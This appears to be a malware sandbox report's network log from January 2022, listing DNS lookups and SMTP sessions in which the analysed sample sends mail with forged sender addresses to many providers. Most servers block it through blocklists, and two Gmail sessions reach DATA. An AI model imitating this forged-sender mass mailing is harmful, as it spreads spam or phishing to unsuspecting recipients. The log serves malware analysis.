Jan 7, 2022 15:56:06.864612103 CET	8.8.8.8	192.168.2.3	0x349a	No error (0)	cluster10a.us.messagelabs.com		54.83.87.114	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.039376974 CET	8.8.8.8	192.168.2.3	0xc1a	Name error (3)	emaiserver.ro	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:07.068196058 CET	8.8.8.8	192.168.2.3	0x7b13	No error (0)	orice.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:07.068196058 CET	8.8.8.8	192.168.2.3	0x7b13	No error (0)	orice.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:07.101031065 CET	8.8.8.8	192.168.2.3	0x727b	Name error (3)	worldwideoffices.ro	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:07.114744902 CET	8.8.8.8	192.168.2.3	0x11f5	No error (0)	mxbck.leonet.it		185.175.124.58	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.135500908 CET	8.8.8.8	192.168.2.3	0x349e	No error (0)	mx.leonet.it		212.19.106.223	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.135500908 CET	8.8.8.8	192.168.2.3	0x349e	No error (0)	mx.leonet.it		212.19.106.229	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.137094021 CET	8.8.8.8	192.168.2.3	0x177d	No error (0)	cineva.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:07.155711889 CET	8.8.8.8	192.168.2.3	0x594b	No error (0)	mail.h-email.net		34.223.6.127	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.155711889 CET	8.8.8.8	192.168.2.3	0x594b	No error (0)	mail.h-email.net		54.190.26.211	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.155711889 CET	8.8.8.8	192.168.2.3	0x594b	No error (0)	mail.h-email.net		34.212.139.205	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.155711889 CET	8.8.8.8	192.168.2.3	0x594b	No error (0)	mail.h-email.net		18.237.235.220	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.155711889 CET	8.8.8.8	192.168.2.3	0x594b	No error (0)	mail.h-email.net		18.237.204.6	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.155711889 CET	8.8.8.8	192.168.2.3	0x594b	No error (0)	mail.h-email.net		54.200.93.251	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.155711889 CET	8.8.8.8	192.168.2.3	0x594b	No error (0)	mail.h-email.net		34.212.36.67	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.155711889 CET	8.8.8.8	192.168.2.3	0x594b	No error (0)	mail.h-email.net		54.244.49.115	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.155711889 CET	8.8.8.8	192.168.2.3	0x594b	No error (0)	mail.h-email.net		52.34.199.44	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.155711889 CET	8.8.8.8	192.168.2.3	0x594b	No error (0)	mail.h-email.net		34.220.245.67	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.568303108 CET	8.8.8.8	192.168.2.3	0x9e19	Server failure (2)	orice.ro	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:07.597718000 CET	8.8.8.8	192.168.2.3	0x63bb	No error (0)	ppp.ro			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:07.626481056 CET	8.8.8.8	192.168.2.3	0x1232	No error (0)	ppp.ro		176.223.123.126	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.818962097 CET	8.8.8.8	192.168.2.3	0x5ad4	No error (0)	orice.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:07.818962097 CET	8.8.8.8	192.168.2.3	0x5ad4	No error (0)	orice.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:07.862129927 CET	8.8.8.8	192.168.2.3	0x4e3f	No error (0)	mx.leonet.it		212.19.106.229	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.862129927 CET	8.8.8.8	192.168.2.3	0x4e3f	No error (0)	mx.leonet.it		212.19.106.223	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.899795055 CET	8.8.8.8	192.168.2.3	0x10b5	No error (0)	mxbck.leonet.it		185.175.124.58	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:08.014372110 CET	8.8.8.8	192.168.2.3	0x2a0b	Server failure (2)	orice.ro	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:08.035691023 CET	8.8.8.8	192.168.2.3	0xac6e	No error (0)	ppp.ro			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:08.053828001 CET	8.8.8.8	192.168.2.3	0x7149	No error (0)	ppp.ro		176.223.123.126	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:09.185796976 CET	8.8.8.8	192.168.2.3	0x255a	No error (0)	www3.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:10.097445965 CET	8.8.8.8	192.168.2.3	0xa736	No error (0)	domini.cat			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:10.129400015 CET	8.8.8.8	192.168.2.3	0x9cb5	No error (0)	domini-cat.mail.protection.outlook.com		104.47.17.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:10.129400015 CET	8.8.8.8	192.168.2.3	0x9cb5	No error (0)	domini-cat.mail.protection.outlook.com		104.47.18.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:10.224368095 CET	8.8.8.8	192.168.2.3	0x7dbf	No error (0)	www3.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:13.370539904 CET	8.8.8.8	192.168.2.3	0x85e2	No error (0)	www3.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jan 7, 2022 15:53:54.354132891 CET	25	49743	67.195.204.72	192.168.2.3	220 mtaproxy312.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:53:54.787623882 CET	25	49745	104.47.57.161	192.168.2.3	220 DM6NAM11FT012.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:53:54 +0000
Jan 7, 2022 15:54:00.126379013 CET	25	49747	67.195.204.72	192.168.2.3	220 mtaproxy304.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:54:00.126678944 CET	49747	25	192.168.2.3	67.195.204.72	HELO mta5.am0.yahoodns.net
Jan 7, 2022 15:54:00.240226984 CET	25	49747	67.195.204.72	192.168.2.3	250 mtaproxy304.free.mail.bf1.yahoo.com
Jan 7, 2022 15:54:00.240468979 CET	49747	25	192.168.2.3	67.195.204.72	MAIL FROM: <sandra.lee@email.myway.com>
Jan 7, 2022 15:54:00.347009897 CET	25	49748	104.47.57.161	192.168.2.3	220 DM6NAM11FT050.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:54:00 +0000
Jan 7, 2022 15:54:00.347239971 CET	49748	25	192.168.2.3	104.47.57.161	HELO hotmail-com.olc.protection.outlook.com
Jan 7, 2022 15:54:00.354506016 CET	25	49747	67.195.204.72	192.168.2.3	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:54:00.354686975 CET	49747	25	192.168.2.3	67.195.204.72	QUIT
Jan 7, 2022 15:54:00.478739977 CET	25	49748	104.47.57.161	192.168.2.3	250 DM6NAM11FT050.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:54:00.478882074 CET	49748	25	192.168.2.3	104.47.57.161	MAIL FROM: <sec@hotmail.com>
Jan 7, 2022 15:54:00.583091974 CET	25	49750	67.195.204.77	192.168.2.3	220 mtaproxy108.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:54:00.583259106 CET	49750	25	192.168.2.3	67.195.204.77	HELO mta7.am0.yahoodns.net
Jan 7, 2022 15:54:00.610925913 CET	25	49748	104.47.57.161	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [DM6NAM11FT050.eop-nam11.prod.protection.outlook.com]
Jan 7, 2022 15:54:00.611135960 CET	49748	25	192.168.2.3	104.47.57.161	QUIT
Jan 7, 2022 15:54:00.653534889 CET	25	49751	77.88.21.249	192.168.2.3	220 myt6-01833040c88b.qloud-c.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru) 1641567240-nsSVtMAL6x-s0e0Cvnu
Jan 7, 2022 15:54:00.653677940 CET	49751	25	192.168.2.3	77.88.21.249	HELO mx.yandex.ru
Jan 7, 2022 15:54:00.662240028 CET	25	49749	77.88.21.249	192.168.2.3	220 sas1-23fcac62c901.qloud-c.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru) 1641567240-KxFm9FIlHU-s0eKb5XR
Jan 7, 2022 15:54:00.662494898 CET	49749	25	192.168.2.3	77.88.21.249	HELO mx.yandex.ru
Jan 7, 2022 15:54:00.697408915 CET	25	49750	67.195.204.77	192.168.2.3	250 mtaproxy108.free.mail.bf1.yahoo.com
Jan 7, 2022 15:54:00.697519064 CET	49750	25	192.168.2.3	67.195.204.77	MAIL FROM: <sandra.lee@email.myway.com>
Jan 7, 2022 15:54:00.709352970 CET	25	49751	77.88.21.249	192.168.2.3	250 myt6-01833040c88b.qloud-c.yandex.net
Jan 7, 2022 15:54:00.710047960 CET	49751	25	192.168.2.3	77.88.21.249	MAIL FROM: <younghxtmf@care2.com>
Jan 7, 2022 15:54:00.721915007 CET	25	49749	77.88.21.249	192.168.2.3	250 sas1-23fcac62c901.qloud-c.yandex.net
Jan 7, 2022 15:54:00.722037077 CET	49749	25	192.168.2.3	77.88.21.249	MAIL FROM: <claudia.walker@inbox.com>
Jan 7, 2022 15:54:00.811656952 CET	25	49750	67.195.204.77	192.168.2.3	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:54:00.811841965 CET	49750	25	192.168.2.3	67.195.204.77	QUIT
Jan 7, 2022 15:54:00.827605009 CET	25	49749	77.88.21.249	192.168.2.3	250 2.1.0 <claudia.walker@inbox.com> ok 1641567240-KxFm9FIlHU-s0eKwqIS
Jan 7, 2022 15:54:00.828031063 CET	49749	25	192.168.2.3	77.88.21.249	RCPT TO: <macjohnsmith@yandex.ru>
Jan 7, 2022 15:54:00.831861019 CET	25	49751	77.88.21.249	192.168.2.3	250 2.1.0 <younghxtmf@care2.com> ok 1641567240-nsSVtMAL6x-s0e0SD66
Jan 7, 2022 15:54:00.831974983 CET	49751	25	192.168.2.3	77.88.21.249	RCPT TO: <macjohnsmith@tut.by>
Jan 7, 2022 15:54:00.897985935 CET	25	49749	77.88.21.249	192.168.2.3	550 5.7.1 No such user! 1641567240-KxFm9FIlHU-s0eKwqIS
Jan 7, 2022 15:54:00.898268938 CET	49749	25	192.168.2.3	77.88.21.249	QUIT
Jan 7, 2022 15:54:00.898372889 CET	25	49751	77.88.21.249	192.168.2.3	550 5.7.1 No such user! 1641567240-nsSVtMAL6x-s0e0SD66
Jan 7, 2022 15:54:00.898483992 CET	49751	25	192.168.2.3	77.88.21.249	QUIT
Jan 7, 2022 15:54:00.954175949 CET	25	49751	77.88.21.249	192.168.2.3	221 2.0.0 Closing connecton
Jan 7, 2022 15:54:00.957469940 CET	25	49749	77.88.21.249	192.168.2.3	221 2.0.0 Closing connecton
Jan 7, 2022 15:54:01.147351027 CET	25	49752	67.195.204.79	192.168.2.3	220 mtaproxy205.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:54:01.147510052 CET	49752	25	192.168.2.3	67.195.204.79	HELO mta6.am0.yahoodns.net
Jan 7, 2022 15:54:01.261128902 CET	25	49752	67.195.204.79	192.168.2.3	250 mtaproxy205.free.mail.bf1.yahoo.com
Jan 7, 2022 15:54:01.261265039 CET	49752	25	192.168.2.3	67.195.204.79	MAIL FROM: <sandra.lee@email.myway.com>
Jan 7, 2022 15:54:01.375469923 CET	25	49752	67.195.204.79	192.168.2.3	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:54:01.375672102 CET	49752	25	192.168.2.3	67.195.204.79	QUIT
Jan 7, 2022 15:54:01.625668049 CET	25	49753	74.208.5.20	192.168.2.3	554-mail.com (mxgmxus007) Nemesis ESMTP Service not available 554-No SMTP service 554-IP address is block listed. 554 For explanation visit https://www.gmx.net/mail/senderguidelines?ip=102.129.143.96&c=bl
Jan 7, 2022 15:54:01.907553911 CET	25	49755	74.208.5.22	192.168.2.3	554-mail.com (mxgmxus006) Nemesis ESMTP Service not available 554-No SMTP service 554-IP address is block listed. 554 For explanation visit https://www.gmx.net/mail/senderguidelines?ip=102.129.143.96&c=bl
Jan 7, 2022 15:54:01.959645987 CET	25	49756	108.177.119.26	192.168.2.3	220 mx.google.com ESMTP h10si2430443ejx.663 - gsmtp
Jan 7, 2022 15:54:01.960057020 CET	49756	25	192.168.2.3	108.177.119.26	HELO gmail-smtp-in.l.google.com
Jan 7, 2022 15:54:01.990536928 CET	25	49756	108.177.119.26	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:54:01.990843058 CET	49756	25	192.168.2.3	108.177.119.26	MAIL FROM: <serv@gmail.com>
Jan 7, 2022 15:54:02.018177986 CET	25	49756	108.177.119.26	192.168.2.3	250 2.1.0 OK h10si2430443ejx.663 - gsmtp
Jan 7, 2022 15:54:02.018358946 CET	49756	25	192.168.2.3	108.177.119.26	RCPT TO: <njhnbkf@gmail.com>
Jan 7, 2022 15:54:02.192049980 CET	25	49756	108.177.119.26	192.168.2.3	250 2.1.5 OK h10si2430443ejx.663 - gsmtp
Jan 7, 2022 15:54:02.192233086 CET	49756	25	192.168.2.3	108.177.119.26	DATA
Jan 7, 2022 15:54:02.219494104 CET	25	49756	108.177.119.26	192.168.2.3	354 Go ahead h10si2430443ejx.663 - gsmtp
Jan 7, 2022 15:54:02.289771080 CET	25	49757	194.152.32.72	192.168.2.3	220-timmy2-world.inbox.lv ESMTP
Jan 7, 2022 15:54:02.289952993 CET	49757	25	192.168.2.3	194.152.32.72	HELO mx1.inbox.lv
Jan 7, 2022 15:54:02.331707954 CET	25	49757	194.152.32.72	192.168.2.3	250 timmy2-world.inbox.lv
Jan 7, 2022 15:54:02.331835985 CET	49757	25	192.168.2.3	194.152.32.72	MAIL FROM: <serv@inbox.lv>
Jan 7, 2022 15:54:02.374922037 CET	25	49757	194.152.32.72	192.168.2.3	250 2.1.0 Ok
Jan 7, 2022 15:54:02.375017881 CET	49757	25	192.168.2.3	194.152.32.72	RCPT TO: <macjohnsmith@inbox.lv>
Jan 7, 2022 15:54:02.416666031 CET	25	49757	194.152.32.72	192.168.2.3	550-5.7.1 Service unavailable; client [102.129.143.96] blocked using b.barracudacentral.org 550 5.7.1 Consider upgrading your current email service provider to the https://inbox.eu - stable and secure email service
Jan 7, 2022 15:54:02.416754961 CET	49757	25	192.168.2.3	194.152.32.72	QUIT
Jan 7, 2022 15:54:02.458379984 CET	25	49757	194.152.32.72	192.168.2.3	221 2.0.0 Bye
Jan 7, 2022 15:54:02.500755072 CET	25	49758	194.152.32.73	192.168.2.3	220-timmy3-world.inbox.lv ESMTP
Jan 7, 2022 15:54:02.500886917 CET	49758	25	192.168.2.3	194.152.32.73	HELO mx2.inbox.lv
Jan 7, 2022 15:54:02.543035984 CET	25	49758	194.152.32.73	192.168.2.3	250 timmy3-world.inbox.lv
Jan 7, 2022 15:54:02.543135881 CET	49758	25	192.168.2.3	194.152.32.73	MAIL FROM: <serv@inbox.lv>
Jan 7, 2022 15:54:02.584973097 CET	25	49758	194.152.32.73	192.168.2.3	250 2.1.0 Ok
Jan 7, 2022 15:54:02.585124969 CET	49758	25	192.168.2.3	194.152.32.73	RCPT TO: <macjohnsmith@inbox.lv>
Jan 7, 2022 15:54:02.626852989 CET	25	49758	194.152.32.73	192.168.2.3	550-5.7.1 Service unavailable; client [102.129.143.96] blocked using b.barracudacentral.org 550 5.7.1 Consider upgrading your current email service provider to the https://inbox.eu - stable and secure email service
Jan 7, 2022 15:54:02.626956940 CET	49758	25	192.168.2.3	194.152.32.73	QUIT
Jan 7, 2022 15:54:02.668725967 CET	25	49758	194.152.32.73	192.168.2.3	221 2.0.0 Bye
Jan 7, 2022 15:54:02.877047062 CET	49756	25	192.168.2.3	108.177.119.26	. QUIT
Jan 7, 2022 15:54:04.129873037 CET	25	49759	195.3.96.71	192.168.2.3	220 smarthub88.res.a1.net ESMTP
Jan 7, 2022 15:54:04.130033970 CET	49759	25	192.168.2.3	195.3.96.71	HELO smx01.a1.net
Jan 7, 2022 15:54:04.151284933 CET	25	49759	195.3.96.71	192.168.2.3	250 smarthub88.res.a1.net
Jan 7, 2022 15:54:04.151407957 CET	49759	25	192.168.2.3	195.3.96.71	MAIL FROM: <wilson_gnhae@yahoo.com>
Jan 7, 2022 15:54:04.171983957 CET	25	49759	195.3.96.71	192.168.2.3	553 sorry, mail from your location [102.129.143.96] is administratively denied (#5.7.1)
Jan 7, 2022 15:54:04.172102928 CET	49759	25	192.168.2.3	195.3.96.71	QUIT
Jan 7, 2022 15:54:04.192729950 CET	25	49759	195.3.96.71	192.168.2.3	221 smarthub88.res.a1.net Goodbye.
Jan 7, 2022 15:54:06.358391047 CET	25	49763	67.195.204.74	192.168.2.3	220 mtaproxy507.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:54:06.358656883 CET	49763	25	192.168.2.3	67.195.204.74	HELO mta7.am0.yahoodns.net
Jan 7, 2022 15:54:06.472207069 CET	25	49763	67.195.204.74	192.168.2.3	250 mtaproxy507.free.mail.bf1.yahoo.com
Jan 7, 2022 15:54:06.472352982 CET	49763	25	192.168.2.3	67.195.204.74	MAIL FROM: <sec@yahoo.com>
Jan 7, 2022 15:54:06.586539030 CET	25	49763	67.195.204.74	192.168.2.3	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:54:06.586766005 CET	49763	25	192.168.2.3	67.195.204.74	QUIT
Jan 7, 2022 15:54:06.773487091 CET	25	49754	213.186.119.6	192.168.2.3	220 out04.mi6.kiev.ua ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:54:06 +0200
Jan 7, 2022 15:54:06.773683071 CET	49754	25	192.168.2.3	213.186.119.6	HELO mx10.bigmir.net
Jan 7, 2022 15:54:06.832309008 CET	25	49754	213.186.119.6	192.168.2.3	250 out04.mi6.kiev.ua Hello mx10.bigmir.net [102.129.143.96]
Jan 7, 2022 15:54:06.832472086 CET	49754	25	192.168.2.3	213.186.119.6	MAIL FROM: <brian.king@fastmail.fm>
Jan 7, 2022 15:54:06.849610090 CET	25	49764	67.195.204.79	192.168.2.3	220 mtaproxy202.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:54:06.849760056 CET	49764	25	192.168.2.3	67.195.204.79	HELO mta5.am0.yahoodns.net
Jan 7, 2022 15:54:06.890943050 CET	25	49754	213.186.119.6	192.168.2.3	250 OK
Jan 7, 2022 15:54:06.891104937 CET	49754	25	192.168.2.3	213.186.119.6	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:54:06.962006092 CET	25	49764	67.195.204.79	192.168.2.3	250 mtaproxy202.free.mail.bf1.yahoo.com
Jan 7, 2022 15:54:06.962155104 CET	49764	25	192.168.2.3	67.195.204.79	MAIL FROM: <sec@yahoo.com>
Jan 7, 2022 15:54:06.975634098 CET	25	49754	213.186.119.6	192.168.2.3	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:54:06.975788116 CET	49754	25	192.168.2.3	213.186.119.6	QUIT
Jan 7, 2022 15:54:07.017910957 CET	25	49765	104.47.57.161	192.168.2.3	220 DM6NAM11FT055.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:54:05 +0000
Jan 7, 2022 15:54:07.018057108 CET	49765	25	192.168.2.3	104.47.57.161	HELO hotmail-com.olc.protection.outlook.com
Jan 7, 2022 15:54:07.034214973 CET	25	49754	213.186.119.6	192.168.2.3	221 out04.mi6.kiev.ua closing connection
Jan 7, 2022 15:54:07.075103998 CET	25	49764	67.195.204.79	192.168.2.3	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:54:07.075233936 CET	49764	25	192.168.2.3	67.195.204.79	QUIT
Jan 7, 2022 15:54:07.149569035 CET	25	49765	104.47.57.161	192.168.2.3	250 DM6NAM11FT055.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:54:07.149692059 CET	49765	25	192.168.2.3	104.47.57.161	MAIL FROM: <Donna.nelson@mail.lycos.com>
Jan 7, 2022 15:54:07.281781912 CET	25	49765	104.47.57.161	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [DM6NAM11FT055.eop-nam11.prod.protection.outlook.com]
Jan 7, 2022 15:54:07.281893015 CET	49765	25	192.168.2.3	104.47.57.161	QUIT
Jan 7, 2022 15:54:07.456875086 CET	25	49767	67.195.228.94	192.168.2.3	220 mtaproxy109.free.mail.gq1.yahoo.com ESMTP ready
Jan 7, 2022 15:54:07.457082987 CET	49767	25	192.168.2.3	67.195.228.94	HELO mta6.am0.yahoodns.net
Jan 7, 2022 15:54:07.618969917 CET	25	49767	67.195.228.94	192.168.2.3	250 mtaproxy109.free.mail.gq1.yahoo.com
Jan 7, 2022 15:54:07.619256020 CET	49767	25	192.168.2.3	67.195.228.94	MAIL FROM: <sec@yahoo.com>
Jan 7, 2022 15:54:07.781495094 CET	25	49767	67.195.228.94	192.168.2.3	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:54:07.781673908 CET	49767	25	192.168.2.3	67.195.228.94	QUIT
Jan 7, 2022 15:54:07.794761896 CET	25	49762	91.136.8.41	192.168.2.3	220 mail66c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Fri, 7 Jan 2022 14:54:05 +0000
Jan 7, 2022 15:54:07.798206091 CET	49762	25	192.168.2.3	91.136.8.41	HELO mx1c50.megamailservers.eu
Jan 7, 2022 15:54:07.840399981 CET	25	49762	91.136.8.41	192.168.2.3	250 mail66c50.megamailservers.eu Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:54:07.840537071 CET	49762	25	192.168.2.3	91.136.8.41	MAIL FROM: <dave.lee@care2.com>
Jan 7, 2022 15:54:07.897972107 CET	25	49768	77.88.21.249	192.168.2.3	220 sas1-8cdc63feeaa0.qloud-c.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru) 1641567247-xZhbnKUDHI-s7ee1riV
Jan 7, 2022 15:54:07.898083925 CET	49768	25	192.168.2.3	77.88.21.249	HELO mx.yandex.ru
Jan 7, 2022 15:54:07.930397987 CET	25	49762	91.136.8.41	192.168.2.3	250 2.1.0 <dave.lee@care2.com>... Sender ok
Jan 7, 2022 15:54:07.930535078 CET	49762	25	192.168.2.3	91.136.8.41	RCPT TO: <web@telering.at>
Jan 7, 2022 15:54:07.958550930 CET	25	49768	77.88.21.249	192.168.2.3	250 sas1-8cdc63feeaa0.qloud-c.yandex.net
Jan 7, 2022 15:54:07.959315062 CET	49768	25	192.168.2.3	77.88.21.249	MAIL FROM: <sec@yandex.ru>
Jan 7, 2022 15:54:07.978077888 CET	25	49762	91.136.8.41	192.168.2.3	550 5.1.1 <web@telering.at>... User unknown
Jan 7, 2022 15:54:07.978193998 CET	49762	25	192.168.2.3	91.136.8.41	QUIT
Jan 7, 2022 15:54:08.019403934 CET	25	49762	91.136.8.41	192.168.2.3	221 2.0.0 mail66c50.megamailservers.eu closing connection
Jan 7, 2022 15:54:08.020787001 CET	25	49768	77.88.21.249	192.168.2.3	250 2.1.0 <sec@yandex.ru> ok 1641567247-xZhbnKUDHI-s7eeQ6E8
Jan 7, 2022 15:54:08.020898104 CET	49768	25	192.168.2.3	77.88.21.249	RCPT TO: <macjohnsmith@yandex.ru>
Jan 7, 2022 15:54:08.095380068 CET	25	49768	77.88.21.249	192.168.2.3	550 5.7.1 No such user! 1641567248-xZhbnKUDHI-s7eeQ6E8
Jan 7, 2022 15:54:08.095518112 CET	49768	25	192.168.2.3	77.88.21.249	QUIT
Jan 7, 2022 15:54:08.156143904 CET	25	49768	77.88.21.249	192.168.2.3	221 2.0.0 Closing connecton
Jan 7, 2022 15:54:08.465821028 CET	25	49770	77.88.21.249	192.168.2.3	220 sas1-bc282b0f8837.qloud-c.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru) 1641567248-yg9F1inJ5J-s8fawuDs
Jan 7, 2022 15:54:08.465984106 CET	49770	25	192.168.2.3	77.88.21.249	HELO mx.yandex.ru
Jan 7, 2022 15:54:08.525713921 CET	25	49770	77.88.21.249	192.168.2.3	250 sas1-bc282b0f8837.qloud-c.yandex.net
Jan 7, 2022 15:54:08.529774904 CET	49770	25	192.168.2.3	77.88.21.249	MAIL FROM: <serv@tut.by>
Jan 7, 2022 15:54:08.592971087 CET	25	49770	77.88.21.249	192.168.2.3	250 2.1.0 <serv@tut.by> ok 1641567248-yg9F1inJ5J-s8favHHl
Jan 7, 2022 15:54:08.593153000 CET	49770	25	192.168.2.3	77.88.21.249	RCPT TO: <macjohnsmith@tut.by>
Jan 7, 2022 15:54:08.663690090 CET	25	49770	77.88.21.249	192.168.2.3	550 5.7.1 No such user! 1641567248-yg9F1inJ5J-s8favHHl
Jan 7, 2022 15:54:08.667481899 CET	49770	25	192.168.2.3	77.88.21.249	QUIT
Jan 7, 2022 15:54:08.727319002 CET	25	49770	77.88.21.249	192.168.2.3	221 2.0.0 Closing connecton
Jan 7, 2022 15:54:09.718719959 CET	25	49771	74.208.5.20	192.168.2.3	554-mail.com (mxgmxus010) Nemesis ESMTP Service not available 554-No SMTP service 554-IP address is block listed. 554 For explanation visit https://www.gmx.net/mail/senderguidelines?ip=102.129.143.96&c=bl
Jan 7, 2022 15:54:09.987288952 CET	25	49772	74.208.5.22	192.168.2.3	554-mail.com (mxgmxus009) Nemesis ESMTP Service not available 554-No SMTP service 554-IP address is block listed. 554 For explanation visit https://www.gmx.net/mail/senderguidelines?ip=102.129.143.96&c=bl
Jan 7, 2022 15:54:10.076370001 CET	25	49769	91.136.8.46	192.168.2.3	220 mail287c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Fri, 7 Jan 2022 14:54:08 +0000
Jan 7, 2022 15:54:10.076539040 CET	49769	25	192.168.2.3	91.136.8.46	HELO mx2c50.megamailservers.eu
Jan 7, 2022 15:54:10.117994070 CET	25	49769	91.136.8.46	192.168.2.3	250 mail287c50.megamailservers.eu Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:54:10.118118048 CET	49769	25	192.168.2.3	91.136.8.46	MAIL FROM: <dave.lee@care2.com>
Jan 7, 2022 15:54:10.346127987 CET	25	49769	91.136.8.46	192.168.2.3	250 2.1.0 <dave.lee@care2.com>... Sender ok
Jan 7, 2022 15:54:10.346260071 CET	49769	25	192.168.2.3	91.136.8.46	RCPT TO: <web@telering.at>
Jan 7, 2022 15:54:10.400738955 CET	25	49769	91.136.8.46	192.168.2.3	550 5.1.1 <web@telering.at>... User unknown
Jan 7, 2022 15:54:10.400916100 CET	49769	25	192.168.2.3	91.136.8.46	QUIT
Jan 7, 2022 15:54:10.442152023 CET	25	49769	91.136.8.46	192.168.2.3	221 2.0.0 mail287c50.megamailservers.eu closing connection
Jan 7, 2022 15:54:11.548011065 CET	25	49776	108.177.119.26	192.168.2.3	220 mx.google.com ESMTP n26si2460867ejg.794 - gsmtp
Jan 7, 2022 15:54:11.551790953 CET	49776	25	192.168.2.3	108.177.119.26	HELO gmail-smtp-in.l.google.com
Jan 7, 2022 15:54:11.582123041 CET	25	49776	108.177.119.26	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:54:11.583700895 CET	49776	25	192.168.2.3	108.177.119.26	MAIL FROM: <carter1983@hotmail.com>
Jan 7, 2022 15:54:11.610641956 CET	25	49776	108.177.119.26	192.168.2.3	250 2.1.0 OK n26si2460867ejg.794 - gsmtp
Jan 7, 2022 15:54:11.611105919 CET	49776	25	192.168.2.3	108.177.119.26	RCPT TO: <njhnbkf@gmail.com>
Jan 7, 2022 15:54:11.762475014 CET	25	49776	108.177.119.26	192.168.2.3	250 2.1.5 OK n26si2460867ejg.794 - gsmtp
Jan 7, 2022 15:54:11.762911081 CET	49776	25	192.168.2.3	108.177.119.26	DATA
Jan 7, 2022 15:54:11.790043116 CET	25	49776	108.177.119.26	192.168.2.3	354 Go ahead n26si2460867ejg.794 - gsmtp
Jan 7, 2022 15:54:11.849431038 CET	25	49777	194.152.32.74	192.168.2.3	220-timmy4-world.inbox.lv ESMTP
